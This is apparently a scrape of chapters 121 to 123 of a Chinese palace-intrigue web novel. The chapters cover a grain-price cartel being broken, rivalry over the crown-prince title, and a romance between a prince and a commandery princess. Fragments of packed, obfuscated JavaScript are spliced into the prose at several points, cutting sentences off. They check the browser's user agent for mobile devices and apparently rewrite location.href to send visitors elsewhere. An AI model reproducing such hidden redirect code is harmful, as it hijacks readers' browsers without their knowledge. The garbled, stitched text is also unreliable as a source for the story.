l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438530|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会被救走!”那官员气急败坏的指责道。 他心里清楚,他绝对不能背这个锅,否则监管不力的罪名一旦落下,他此生都将与朝堂无缘!他才刚刚尝得当官的好处,又怎么能在这个时候重新跌落泥潭! “墨云骑已经被莱青节度使尽数屠戮,本王现在又是囚犯,当然要先自保,朝廷上下谁都可以独善其身,为何偏偏本王不能?”他又瞥了一眼李谨焕,“康王殿下也在这里,你怎么不指责他方才没有出手相助?” 这话怼得官员哑口无言。 李谨焕心情复杂,他知道,以前那个嫉恶如仇的皇兄再也不会回来了。 “你明知道淮南王勾结吐谷浑,若放虎归山,必会对朝廷造成威胁!你这是明知故犯!”那官员的声音有些颤抖,他心里已经清楚注定的结局,却还是不甘心的想要再做挣扎。 “那又如何?”李鹤霖道:“若她就这般被押送回经常,父皇会看在怡妃的面子上,看在她过往对父皇登基的帮助,看在她因性别不公带来的委屈上,放过她,只幽禁起来。或许某一天父皇高兴了,大赦天下,她还有机会回淮南看一眼,祭奠她的父母、家人。” “可到那时候,还会有人记得枉死的十几万无辜百姓吗?不会了,那些存有龌龊心思的人会变本加厉,因为他们知道就算被抓也无妨,只要身家够硬就可以大事化小小事化了!可今日她被救走了,父皇会震怒,朝野上下会恐慌,所有人都会害怕她的反扑,没有人会再对我的事指指点点,因为若是没有我揭开这一道道遮天蔽日的黑幕,他们永远都不会知道淮南王居然包藏祸心、意图谋反!” 他笑着、讽刺着、虚弱着,目光越过李谨焕复杂的面孔,看向驿站门口,不停扑向灯火的飞虫。 “再加上民心、民意,当万民伞到达京城的时候,所有人都不会再将矛头对准我,他们在朝堂上呆的太久了,久到除了明哲保身什么都不记得。他们会惊讶于我的万众归心,会屈服于百姓的呐喊,会选择遗忘掉我的过错,一遍一遍将我美化成这世间难得一见的忠义之士。” 他直勾勾的盯着李谨焕,二十年来,后者从他的瞳孔中第一次看到了赤裸裸的恶意:“甚至,会为了掩盖自己曾经的针对于恶意,急于向父皇谏言封我为太子。” 李谨焕瞳孔震颤,双手握紧缰绳,一股寒意直冲天灵。 他喏喏两声,才道:“你变了……” “变了?那又怎样?”李鹤霖的笑容中掺入了一丝苦涩:“既然这天下所有人都可以变,为何独独我不可以?”我只是变成了跟梦中的自己一般模样。 其实到了现在,李鹤霖有那么一点点好奇,想要知道梦里最后的结局,自己有没有完成自己想做的那些事,有没有完成刺杀……有没有……推翻那腐朽的王朝。 121. 第 121 章 因各州府、县郡的官吏都出现了巨大缺口,导致许多政务停摆。 章麓尽可能的招募了一些有过功名的秀才、举人填补县令县丞之外的空缺,但县令县丞这些由吏部任命的主要位置,在吏部任命书还没下达之前,短时间内还是无法得到补充。 案头堆积的公文比人都高,就连一直恪守规矩绝不越界行事的章启,都不得不放下原则帮忙处理,但仍旧不够。 章启放下笔,活动了一下手腕:“这样下去不行,各世家开始联合商人扰乱市场,主要就是米粮价格,百姓无粮可买早晚要暴动。待那时,所有对淳王的感恩,都会转化为恨意,咱们谋划的一切都将功亏一篑。” 章麓揉了揉胀痛的眉心,她已经三天没有好好休息过了,撑不住了就小睡一个时辰,这三天加起来也不过睡了三个多时辰。整张脸都泛着蜡黄色,眼底下的乌青遮都遮不住。 章启虽然时常伏案写文书,但他从来没在一天之内写过这么多字,写得自己都快不认识它们了,他丢开手中的案卷,看向章麓:“淳王这种屠戮贪官的疯狂行为或许能震慑住地方官员一时,但震慑不住一辈子。再过两日,总有胆子大的想要挑衅于你,你毕竟只是个郡主,并无任免官员、处理政务的权利,到时候他们完全可以以此为理由,将你架空。” “放心好了,那些商户掀不起风浪,我早就做好了准备。”章麓看了看日头:“这几日我一直在观星象,预计今明两日会一直下雨,只要卡好漕运和陆路的关口,不让粮食外流,我就能让他们的粮烂在仓里!” “你想要用大同商号这两月收购的粮来跟他们对擂?可浪费如此多的粮草,陛下不会高兴的。”章启蹙眉道。 章麓叹息:“我明白,但这也是没有办法的事情,作为弥补,姐夫奉州伯会向陛下提交一项针对旱田改良的政策,以及十万旦良种。这条政策能令北境土地贫瘠尚且能涨四成收成,在河南道推广的话,亩产至少翻一番。这样功过相抵,陛下和朝臣都没有理由再施加处罚。” 章启想了想,道:“这倒是,田产翻一番,这得造福多少百姓。就算朝臣真的要赏罚分明,罚是罚了,那么到时候如何赏你?你将来会是亲王妃,只赏金银怕是会寒了心,可不赏金银,你也无法再加官进爵,除非……福及亲族,可章氏一族已然封无可封了,只能落在淳王身上。” “所以,他们定会睁一只眼闭一只眼。” “郡主!”税务司主使刘叶快步而来,气喘吁吁道:“郡主,豫商联合起来抬粮价,现在已经涨到每旦六百文了!” “六百文!他们怎么不去抢!”章启气急败坏的摔掉手中的毛笔:“范阳前年闹了雪灾的时候,粮商也只卖了二百八十文一旦,今年不荒不灾,河南道一年产粮比淮南和江南加起来都多,这些商人怎么敢叫价六百文!岂有此理!” 章麓倒是很平静,她问:“粮铺标的什么价?” “七十文一斗,差不多相当于七百文一旦。” 章麓:“槽司的人怎么说?” “他们也没办法,倒是新来的几个粮官很积极,也是他们跑遍了莱青郡和所辖县村所有的粮铺,最后没办法才找到我这边。”刘叶说到。 章麓笑了声:“这是仗着现在三州乱着,朝廷的重心在淳王身上,合起伙来欺负我了。连手抬高粮价,恶意扰乱行市,再鼓动百姓找官府,可官府乱成这样哪儿有精力去管,最后再在百姓中放谣言,说当初淳王并非为了申冤,而是为了排除异己,就算大多数人不信,但只一百个里有一个信,就足以将这个黑锅扣在淳王身上。事后朝廷就算要查,商会只要再塞给新上任的官员塞一笔银子,将他们也拉入自己的阵营里,这件事就会大事化小小事化了。到时候,这漕运还是他们的,这三州的官场也还是黑的。” 刘叶惊讶于章麓的冷静与远见,他原先也对章麓将登州事物独揽的行为非常不看好,但如今,他反倒生出了些希望。 他拱手道:“郡主可有良策?” “良策谈不上,诡策倒是有一条。”章麓道:“你去跟登州槽司的人说,让他们开仓放粮,一户限领一斗,每三日放一次。” 刘叶不解:“可各州的粮仓有限,因着德州雪灾,临近几个州都多交了二十万旦的粮食。如今各州粮仓应当只存有八十万旦,单登州共计四百多万户,一户一斗,就需要四十多万旦,也只够发两次的。” “无妨,按我说得做,我就是要让这群商人觉得我已经穷途末路。”章麓撂下手中的文案,站起身对刘叶恭敬行礼:“刘大人,如今莱州刺史还在,莱州的政务还稳得住,青州一半的郡县都是淳王的封地,他的属官自会管理,但是登州等不了了,烦请刘大人看在登州四百多万户百姓的面子上,暂领登州刺史一职!我定会全力协助你,稳定州府内政。” “不,郡主,您不能再动了,否则不单单是虞庆侯,你也必死无疑!”刘叶道:“虞庆军留在这里不要动,臣在接任税务司主使前,曾在吕洲做过十年的郡司马,登州还有一些熟识的老伙计,臣亲自请他们出山,定能稳定登州内务。” 当天下午,天就下起了雨,这场雨至子夜时分骤然变为暴雨,一直下了两天才堪堪停歇,但天空依旧阴沉沉的,不见半点阳光。 豫商商会内,几大世家派来的人聚在一起,他们手下的商人也都恭敬的垂首站在各自主子身侧,聆听这他们的讨论。 杨氏的人说:“虞庆军把守在各个关口,粮食根本运不出去,夏粮收得太多,不少都没放进仓,这两日的雨一下,全泡坏了,现在一旦七百文都不够我的损失!” “虞庆军的人倒是不阻止百姓运粮出城,但每户也只能运一车,就算咱们的人都用上一天运一趟,也得花两个月才能把粮全运出去。这样下去,咱们的粮得全泡了!”霍封琏敲着桌子说到。 众人议论纷纷了一阵,见首位那人一直没说话,不禁渐渐止住话头,看向对方。 位于上首的霍封黔放下茶杯,道:“各位,登州每年的收成都会瞒报两成,然后各州的粮仓再挪一半出来,这剩下的还能有多少?待今日她再去粮仓瞧瞧,便知道她放不出第二次粮了,咱们再抬一波价格,直接一旦二两银,百姓们活不下去,吃不上饭,自然不会与他善罢甘休。到时候就算是有天大的恩情,也都不会有人记得了。” 众人面色带有犹豫,他们抬价是为了让章麓低头,重新夺回漕运的控制权,但也不想为引发百姓暴乱。若是再抬粮价,到时候民怨沸腾,章麓若是被逼急了,让虞庆军强行押着他们放粮,他们也没办法啊。 看出他们的犹豫,霍封黔敛下眸中冷光:“淳王这次回京不一定会死,但九成九要贬为庶民,毕竟天子犯法与庶民同罪。所以,各位,趁这个时候还是快些站队吧,跟着一个无实权的郡主,吃力不讨好,还会得罪世家。待新任命的官员下来了,谁知道是哪一派的?总归不会是章氏一脉,若是因为各位此时的退让,令新官心烦,那么各位的前途可就堪忧了。” 坐在屋顶上的章麓将瓦片放回去,拍了拍手上的灰尘。 晴放道:“还真让您料准了,这群墙头草!士农工商,人人都说商人是下九流,可他们这些士人却给商人点头哈腰,真是脸皮都不要了。” 章麓打了个哈欠:“老话说得好,有钱走遍天下,无钱寸步难行。况且他们哪里是向商人低头,他们是向商人背后的世家低头。毕竟,谁也不想自己的官路起点即终点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457619|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那接下来该怎么办?” 章麓看着阴沉沉的天色,勾起一个残忍的笑容:“霍封黔的鱼饵已经放出去了,我们只需要等。” 这一等便是五日过去。 连着五日的阴雨连绵,世家囤积的粮食无一例外全部被水泡发了七成。他们日日巴望着施粥的粥棚断粮,然而令他们失望了,粥棚不仅没有断粮,反而为每一位百姓都发了一份驱寒的中药。 眼见着新安郡主的声望日渐高涨,原本还洋洋得意的世家们终于坐不住了。 只不过出乎豫商们预料的是,第一个屈膝服软的竟是霍封琏。 与往日的风光无限不同,此时的霍封黔已然一副病入膏肓的姿态。他坐在藤制轮椅上,腰腹之下的部位被一床厚重的毯子覆盖着,如今已然是七月的天气,他却丝毫感觉不到热。 霍封黔在税务司呆了一个下午,没人知道他们说了什么。 但在当天夜里,霍封黔就上吊自杀在了自己的家中,这件事就像蝗虫过境一样侵蚀掉了所有人最后的理智。 他们疯了一样跑到府衙门口,想要面见新安郡主,却全部遭拒。 新上任的官吏们逐渐习惯了没有县令和县丞的日子,朝廷的新政正有条不紊的推行着。大同商号趁虚而入,强势入主济南,并开设粮铺。前往府衙门前领米粮的人越来越少,大家也都分得了重新划分的土地,开启了新一轮的劳作。 直到没有人再来府衙门前领米粮,章麓终于收到了来自京城的消息,也知道是时候见见这些背靠世家的商户们了。 在圣旨到达的前一天,这些高高在上的豫商面色凝重的走进了府衙,最后一个个皆颓丧颤抖的离开。 章麓看着桌子上摞得比人都高的各类契约,疲惫的摆了摆手让晴野拿了下去。 “待明日圣旨一到,京城派来的人就会走马上任,以后的事就与我们无关了。”章麓对章启道:“三哥最好连夜从渡口离开,以防有些人吃饱了撑的,非要上赶着找麻烦。” “我知道,你……你日后要多加小心。”想来想去,章启实在是不放心:“你独自回京太危险了,要不然,我让点一百兵丁互送你?” 章麓摇头,拒绝了他的好意:“陛下派你来一定顶着不少压力,我已经越界太多,不能让他再难做了。李鹤霖还被幽禁在淳王府,他现在如履薄冰,再经不起一丝风浪了。” 章启叹了口气:“他到底有什么好?做事只凭好恶,一点都没有大局观,最后还要你替他收拾烂摊子。” 章麓笑了笑,没说话。 章启从怀中取出一枚平安符,递给章麓:“这是你师兄还你的。” 看着那边缘磨损严重的平安结,章麓脸上的笑意微敛,她能从上面的痕迹看出来师兄有多频繁的将它拿出来摩挲。 这是他们拜师时,他们的大师姐陆媛,师父的亲生女儿送给他们的礼物,自从师兄那枚随着那场大火,与粮草,与陆媛一同被烧成灰飞后,他就强势的将章麓这枚平安结抢了过去,死活不愿意还给她。 如今将它还回来,其中含义不言而喻。 “他要放下了吗?”章麓问。 “人总要往前看,你送他的那对桃花络子,被他埋在了媛媛的墓碑下。” 微凉的风卷着紫薇花,洋洋洒洒的飘散在官道上,陆广川望着粉色的细小花瓣,仿佛看到了女儿曾经在紫薇树下,灿烂的笑颜。 章启:“今日是重阳节,去找他吧。” 夜晚的官道像一条平静无波的护城河,蜿蜒在树林之间,盘踞在重山之上。 在李鹤霖抵达京城,被幽禁在王府里的第四天,章麓一行终于一人一马踏上了回京的路。 122. 第 122 章 朝堂上因为李鹤霖吵了足足七日也没有定论,反倒是因着章麓回京,对于虞庆侯府违反律例,三服内从商,以及私调府兵的事有了定论。 功过相抵,不赏不罚。 一切都在章麓的预料之内。 她挥退报信的侍女,端着一碗刚熬好的银耳粥去了主屋。 正倚靠在塌上看书的李鹤霖,一瞧见她端着碗过来,就一脸的菜色。 章麓将他的表情变化尽收眼底,笑容一收,横眉冷竖:“怎么?不喜欢我做的饭吗?” “没有没有。”李鹤霖赶忙站起身将她手中的碗端过来,一副壮士一去不复返的悲壮,直接将粥往嘴里灌,结果第一口就被烫得吐了出来。 章麓吓得赶忙为她擦拭,责怪道:“这是刚从锅里盛出来的,你这么着急做什么?” “这不是怕你生气嘛。” 章麓瞪了他一眼道:“我知道我做饭难吃,但这是对你的惩罚,否则外面为你吵翻了天,你却面色红润跟个没事人一样,若是被瞧见了多不好。” 李鹤霖一把搂过章麓的腰,将脸埋在她的侧颈,暧昧道:“那是因为娘子日日都将我喂饱了,自然面色红润。” “你这都是从哪儿学来的!”章麓面色爆红,羞愤欲死的给了李鹤霖一个胳膊肘。后者顺势捂胸倒地,委屈道:“啊,我被娘子打伤了,要娘子的亲亲才能起来。” 章麓简直不敢相信自己的耳朵,只不过十几日没见,李鹤霖到底跟谁学的这些! 李鹤霖的‘恩师’王临之在书房打了个喷嚏,正在外面练剑的章引玉急忙跑到书房门口,问道:“你是不是受到了风寒?我就说把书房们关上!你就是不听!” “我想看娘子练剑嘛。”王临之哄道:“这天寒地冻的,若是娘子疼惜我,不如就先不要练剑了,陪我看书可好?” 章引玉最应付不来他这幅模样,立刻点了头。 另一边的章麓震惊于李鹤霖突如其来的厚脸皮,一时之间竟不知如何反应。 李鹤霖笑着撩开她落在脸颊的一缕发丝,真诚的说道:“王临之与章引玉已经完婚,你我何时才能完婚呢?” 章麓愣了一下道:“你我只剩最后一礼,但我的户籍已经更改,名义上我已经是你的妻子了,只差婚礼和册封礼。” “我不想你委屈。”李鹤霖道。 章麓捧着他的脸:“我有什么好委屈的?你若是想办婚礼,那就办,左右现在朝廷上的事也与我们无关了,趁着空闲办婚礼也不错。” “可钦天监测算的黄道吉日在十一月,现在才九月,还要再等些时日。” “黄道吉日只是讨个心安,你和我之间,还需要这样的心安吗?” “不需要,我爱你,我一辈子都不会放手的。”李鹤霖拱着章麓的小腹,真诚许诺道。 她脸色红润的应了两声,害羞的想扯开他的手,就被李鹤霖一把抱住,来了个深吻。 啧啧之声不绝于耳,直到章麓感觉道李鹤霖手摸了上来,才一把将人推开。 “我还有事儿没跟你说,先别闹。” 李鹤霖将人重新抱住,问:“什么事?” “高句丽派使臣前来议和,这个节骨眼上,陛下应当会将此事当做借口,先把你的事往下压一压。” “那又如何?”李鹤霖满不在乎的问道。 “使臣来朝,定然要由储君出面带领鸿胪寺接待,以示尊重。可如今陛下并未立储,四皇子不登帝位,其他皇子均年幼,而你又因刀斩百官的事被幽禁在王府里出不去。就只剩下五皇子一个合适的人选,你才外面的人现在都在干什么?” 李鹤霖无所谓的说到:“要么奏请立储,要么想要将我放出去。” “是啊,所以,你也该出去转转了。”章麓道。 李鹤霖叹了口气,道:“袅袅,你真觉得我适合做皇帝吗?” 章麓诧异:“你为什么这么问?” “这些天我想了很多,皇帝需要维持前朝关系,他们会有三宫六院。为了平衡朝局,保证所有人都对自己没有威胁,还会纵容皇子们明争暗斗。可我不喜欢这种生活,我只想娶一个与我志同道合的妻子,过着惩奸除恶的日子,我不喜欢与那些一句话拐七八道弯的朝臣们斡旋,不喜欢为了更长远的利益背叛自己的良心。那样会使我痛苦,生出自我厌恶的情绪。” 李鹤霖抱紧了章麓,低声道:“我不想你未来跟我母后一样,独自一个人坐在空荡荡的宫室里出神。你是翱翔在天际的鹰,不应该被束缚在一眼望到头的四方之地里。” 章麓轻轻覆上李鹤霖粗粝的大手:“你若不想,便不做,没人能逼你。” * 西洲侯府。 西洲侯程义朝(chao)点燃手中的书信,毫不留恋的丢进已经烧了一夜,积满一盆灰烬的火盆中,亲眼看着烈火将自己二十七年来的一切化为飞灰。 他闭上眼,叹道:“偏爱的如此明显,就不怕将来章氏一族独大,成为第二个崔氏吗?” 说到这,他顿了顿,忽的睁开眼看向面前的暗探:“你说霍封黔死前最后见到的是章麓?而章麓回城之时什么都没带,却在入京后变出了一百多口箱子,还送入了宫里?” “是,那些箱子都是从敦义坊的一个小寺庙里搬出来的。属下派人去查过,那个寺庙是以为姓胡的商人捐赠的,但具体名字并不清楚,聚粹轩的老板正好也姓胡。” “聚粹轩,胡老板,霍封黔,明明是对立的两个阵营,会存在什么不被所知的关系吗?”西洲侯点了点梨花桌面。 * 刚过五更两刻,宫门大开。 排好队列的官员正在侍御史的引导下前往大殿,却听闻一道急促的马蹄声由远及近,直奔这边而来。 张锦蹙眉回头,只见一身着金吾卫布甲的士兵手持一面蓝旗策马飞奔而来,伴随之的是一阵阵呼喊:“紧急!有数千百姓持万民伞聚集于城墙下!速速让开!” 官员们立刻为其避让出一条道路,目送他策马一路行至中庭大门处。 “我刚刚是不是听错了?万民伞?” “你没听错,有数千百姓着万民伞聚集于城墙下!天呐,上一次听说百姓送万民伞,秦国夫人守城那次,再往前数就得一百三十年前那次,王献林之子王敬灼荡平金州科考舞弊案的时候,哎哟,真想去看看万民伞长啥样。” “这是要送给谁?” “八成是送给淳王。” “不会把?他杀了那么多人……” “可你看看他杀的都是些什么人?如今能掀得起如此滔天民意的人,除了淳王还能是谁?看来,他不单死不了,还会一步登天啊。” 张锦握紧了手,从头到尾一言不发。他回头看了一眼武将那一列,虞庆侯旁空着的位置,神色晦涩难辨。 后宫同一时间也得到了消息。 雍贵妃气的一把掀翻了宫室内所有的陈设,西洲侯坐在一旁冷眼瞧着,五皇子李谨焕站在窗前愣愣出神。 “焕儿,你觉得你父皇心中的储君会是谁?”雍贵妃扶着门框站在门口,冷声问道。 李谨焕的心中冒出一丝不悦,却很快被压了下去,他平静道:“不会是我。” “你说得对,不会是你。”雍贵妃又气又笑:“你父皇从来就没将我们母子放在眼里过,所有的人,所有的事,全都是在为凤栖宫的那对母子铺路!你我都只是他们的垫脚石罢了!” 李谨焕问道:“母妃、舅舅,你们觉得三皇兄做得对吗?” “我管他去死!”雍贵妃咆哮道:“不管对不对他都死不了了!你马上就要到手的太子之位就要飞了!” 相比雍贵妃的疯癫,西洲侯反而冷静许多,他道:“站在百姓的角度讲,他没错。可站在上位者的角度讲,他错得离谱。可这天下不是皇帝的一言堂,正所谓‘千里之堤溃于蚁穴’,即便坐上高位也要考虑蝼蚁的想法。李鹤霖就将这点做到了极致,他将自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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西洲侯叹息道:“殿下,无论你怎么想,如今我们已经无路可退。霍封黔背叛了淮南王,现在李鹤霖掌握了所有证据,陛下按下不表不过是因为这里面牵扯着两位皇子,再加上高句丽使臣马上就要抵达长安。如今只需要陛下一声令下,你、我以及整个程家都会因为淮南王被诛连!我们已经到了必须决断的时候。” “说的对!”雍贵妃一把抓住李谨焕的手:“我儿是大晋唯一的储君!任何人都不能挡了你的道!”她突然想起什么,话锋一转:“最近与蓉儿相处的如何?” 李谨焕眸光闪了闪,道:“尚可。” 雍贵妃没看出他的异常,语气略有些激动的说到:“章弋被调任去了莱青守捉领兵,正是你我的大好机会!新任的千牛大将军乃是前朝旧臣,对泰安帝没什么感情,你只需要笼络住他的女儿,必然能助咱们成事!” 李谨焕低下头:“儿臣……知晓了。” “去吧。” “是。” 待李谨焕离开后,雍贵妃面上的笑容褪去,只剩阴冷:“当年在陈州的时候,那五千山匪怎么就没把他们母子弄死!平白留到现在来抢我儿的皇位!” 西洲侯蹙眉:“过去的事还提来干嘛?难不成你是在怨我办事不利?” “当然没有!我只是……” “行了。”西洲侯不耐烦的打断了她:“反正你现在也走不了两步,平日里基本都靠轮椅过活。从今日起,你就老老实实待在雍和宫,哪儿都不许去!对皇后也恭敬点,少找点麻烦,听明白了吗?” 雍贵妃撇撇嘴:“知道了。” 走出宫门的李谨焕仰头看着天光乍破,心中倍感无趣。 身侧的内官轻声询问:“殿下?可是有什么心事?” “没有。”李谨焕冷淡道。 这个内官是回到皇宫后,母妃又为他安排的。前面那个因着得罪了李鹤霖,又贪了豫商三千两银子,已经被杀了。 不过,他身边的内官是谁都无所谓。 都是母妃用来监视他的工具罢了,他对他们并无感情。 其实他与自己养的那只鸟儿没有任何差别,都是锦衣玉食,要什么都有,可唯独没有自由。 他翻身上马,穿过热闹的街道,错过挑担叫卖的货郎,经过有说有笑的人群,再次回到了他的金丝笼里。 123. 第 123 章 今日的早朝格外安静,泰安帝坐在上首悠然的饮了一盏茶,依旧没人开口。 他心中不由冷笑。 前几日朝中为着老三的事争吵不休,朝外更是有文人各抒己见,各大茶楼的墙上挂满了评判他的文章,有人认为他是杀人狂魔,嗜血成性,恐怖至极,有人认为他为民请命,被逼无奈才不得不刀斩佞臣,是百姓的青天。 世家也暗中派人搅弄风云,长安城有名的几间茶楼都为着李鹤霖这个人,发生过数起斗殴事件。大理寺、刑部送来的奏折文书堆满了两张桌案,泰安帝只看了几份就气的差点背过气去。 太医言明他绝对不能再动怒,旧族的人没有因此善罢甘休,反而趁机煽风点火,凡是御史台弹劾过李鹤霖的人都被套了麻袋打了一顿,并将事情都甩在了李鹤霖的身上。 泰安帝本就心浮气躁,再因这么一闹直接晕了过去。 部分朝臣便以龙体欠安,江山不稳等等为借口,洋洋洒洒扯出一大堆大道理,逼迫陛下立刻册立太子。 然而,就在朝野上下闹剧不断的时候,虞庆侯突然单独面圣,两人不知谈了些什么,待虞庆侯离开后,泰安帝便宣布了罢朝三日,将政务都交由三位宰相主持。 直到章麓进京的第二日,泰安帝才一副大病初愈的模样重开了早朝。 他悠然的品着茶,看着底下互相推诿、小声嘀咕的朝臣们,自己却一言不发,只等着那出头鸟自己撞上门来。 又一盏茶下去,眼看着日头升高,泰安帝没了耐心,不咸不淡的说到:“众卿若是没什么事,那便退朝吧。” “臣有事请奏!”户部侍郎走出队列,站在了御阶前。 因着河南道的贪污案里牵扯到了户部尚书,在李鹤霖尚未返京之前便被陛下夺了官职关押刑部大牢,目前还没有确定接替人选,户部的事便暂由户部侍郎全权处置。 “今日五更时,城外涌现大批百姓,不知该如何安置?”户部侍郎小心翼翼的问道。 泰安帝目光锐利的扫了他一眼,道:“方琦,你做户部侍郎多久了?” “回陛下,有十二年了。” “十二年了,那也该动一动了。”泰安帝不咸不淡的说到。 户部侍郎连忙跪下,惊恐的高呼:“陛下恕罪!” “哦?你何罪之有啊?” “臣……臣……” 吭哧了半天,方琦也没憋出半个字,急得满脑门子汗,瞧瞧看向队列前方的张锦,对方却一个眼神都没有。 泰安帝将他的神色变化尽收眼底,冷声道:“你祖父有个兄弟在河南道生意做得挺大,他的子孙在登州有十二座粮仓,可容纳四万旦的粮食,每年以四文一斗的价格从百姓手中收粮,待官府籴粮时再以二十文一斗的价格卖给官府,你在户部干了十二年,不如给朕算算,这一年能从中赚多少银钱?” “陛下!臣不知道此事!求陛下开恩!求陛下开恩!” “开恩?这个恩朕可开不了。新安县主返京,还带来了近十年莱、青、登三州买官卖官、行贿受贿的账册,还有你们这群蛀虫是如何搜刮民脂民膏、欺瞒朝廷的证据,足足装了一百多口箱子!”泰安帝从孟德才手中托盘里随便抽出一本,狠狠的丢在了方琦的脸上,指着他怒斥道:“如今你有脸问朕如何安置城外百姓?怎么?若是朕丝毫不过问,任由你去安置,你是不是就要将他们全都安置死!” “臣不敢!臣绝无此心!求陛下明鉴!” “明鉴?行!”泰安帝拍了拍桌案上的账册:“但凡有牵扯者,自己去城门口向百姓请罪!若他们肯谅解,朕便给你们明鉴!若是不肯,哼,死在淳王刀下的贪官污吏既然已经有七百四十四人,朕也不介意在这个数量上再添一笔!退朝!” * 淳王府主院,章麓正在查看嫁妆单子,单聚粹轩送来的珍宝就装了三十担,这明显是要搞十里红妆的架势。 听到李鹤霖绘声绘色的描述朝上的事,她抬头看向侧卧在窗边软榻上的人,惊讶道:“陛下当真如此说?” 阳光透过窗棂散落在李鹤霖的半边身体上,睫毛、鼻梁、脸颊……一寸寸,一缕缕,宛若嵌了无数细碎宝石,璀璨得像一件易碎的艺术品。 他懒洋洋的将双手枕在脑后:“当然是真的,师父说,父皇发了好大一通火,原本以为前朝留下的就算漏洞百出也不至于漏风漏雨,结果没想到,梁柱基础塌了半边,再等便是大厦将倾,他等不了了。” “若是淮南王被押解回京,他还能等。”章麓道。 李鹤霖将手背遮挡在自己的眼前,刺眼的阳光透过指缝滑落,忽明忽暗的刺激着胀痛的双眼:“可我想活着,我不后悔。” 章麓放下信纸,走到塌边,将窗边的帐幔放了下来,光暗了下来。 她轻抚着李鹤霖消瘦的脸颊,认真道:“待此间事了,咱们去鄯城。” “嗯,我与你一道,为北宁关惨死的将士们报仇!” 章麓:“祁中岳如今的地位靠的是以前历代虞庆侯推行的政策,以及淮南王供给的盐粮矿产,这些东西终有用完的时候,他的位置坐不稳,必然会想出新法子稳固自己的地位。” “什么法子?” “自然是老本行,打仗。”章麓道:“他本就是个武将,最擅长的就是领兵作战,只要他能为吐谷浑王攻下大晋的城池,吐谷浑王就一定会继续保他。” “你怎么确定他会在什么时候选择攻打大晋?总不能一直在鄯州等着。” 章麓勾起唇角,黑暗中她的眼眸灿若繁星:“所以,我要釜底抽薪,逼得他不得不立刻做出选择。” * 雍台宫内,李谨焕十七年来第一次大醉,太阳晒得他头晕,酒液迷醉得他眼花。他看向站在房檐阴影下的程卫昭,却只能看到七八个模糊的蓝色影子。 “卫昭……他们为什么非要去抢那个位置呢?活着不好吗?多少人都羡慕不来的荣华富贵,为什么非要……非要……”李谨焕又饮尽一坛酒,泼洒出的酒液浸湿了衣服,留下一块又一块的‘瘢痕’。 程卫昭双臂环胸,面无表情的说到:“哼,他连自己的正妻之位都可以交易,亲生儿子都可以作为棋子摆弄,这种人只看得到自己的利益,哪儿有什么忠心可言。从一开始,西洲侯投靠陛下就是为了更多的权势。” “什么?” “他替前朝打下了西南番地,但番地各个部落之间并不和谐,随时都会有撕毁和条约的可能。他年纪大了,又被到手的富贵荣华迷了眼,根本没有心气继续征战,所以他想选一个稳妥的方法,让自己更进一步,那便是从龙之功。” 李谨焕的眼睛闪了闪,头一次感受到心死:“所以,我只是个棋子,对吗?” 程卫昭看向他:“你觉得是便是,姑姑那个人……从小的控制欲就很强,我四岁的时候,亲眼见过她杀了她养了很久的猫,只因为那只猫没有吃她做的小鱼。这是我这辈子记住的第一件事,也会是最深刻的事。只要是她院子里的东西,无论花草还是仆役,只要不按照她说的去做,就只有死路一条。” 李谨焕不自觉的抖了抖:“我知道了……” 程卫昭走到阳光下,唇角带着笑,笑得肆意又洒脱:“殿下,你跟我不一样,反与不反,你都已经无路可走了。” * 明德门外,围满了围观的百姓。 十几个身着官服的官员,脱下官帽,对着举着万民伞的百姓深深作揖,检讨罪责。 在他们的身后一身黑衣黑靴的萧雷和卢康冷眼瞧着,待他们检讨完,便着人将一脸惶恐的百姓们迎入了长安城。 上千名衣着朴素的百姓,举着十七把万民伞从朱雀大街走过。小摊边、门面前、茶楼上,无数的人目送着他们往北走,一路走向皇城去,一路走到朝阳里。 百姓们并不糊涂,当万民伞从他们眼前走过后,原本还势均力敌的争论瞬间倒向了一边。各大茶楼里,对于李鹤霖的批判文章都被撤了下来,全部该换歌颂李鹤霖在平原郡整治贪官,在济南郡掌控漕运,在三州血染刑场、刀斩贪官污吏的事迹。 茶楼的评书、戏院的戏曲、酒楼的菜名,每一样都与李鹤霖有关。 甚至有人去朱雀门敲登闻鼓告御状,状告那些被李鹤霖斩杀的官员,状告他们欺男霸女、侵占田产、哄抬市价、贩.卖.人.口.等等,每一桩每一件都堪称骇人听闻。就这样一日又一日,一人又一人,即便早朝的时候,参议的官员都能在承天宫听见那咚咚的响声。 在舆情沸腾至顶峰的时候,高句丽使臣终于抵达长安。 泰安帝命康王李谨焕携鸿胪寺统领此次何谈,中书令张锦辅助。 整个和谈维持了十三天的时间,大到国土边界的划定,小到每一个俘虏赎回的价格,几乎每一件事都会争吵不休。李谨焕全程不发一言,只呆呆的看着三尺厚的条款文书,心中百转千回。 他从不知道只是个和谈就需要套路这么多的事情,也从不知道他曾经不以为意的细节,在两国人看来是何等的重要。 他刚接触兵法的时候,曾问过舅舅,当初为什么要将益州郡都划归给南诏番邦? 舅舅告诉他,益州郡夹在南诏八番之中,不好管辖,索性送人还能博些好处。 他当时并不知道得到的好处是什么,却知道不好管的地方可以送给别人做人情。 从那之后,不想要的人他会送,玩过的小玩意儿会送,看腻了的东西会送,有时候一时兴起也会买些东西送给别人。 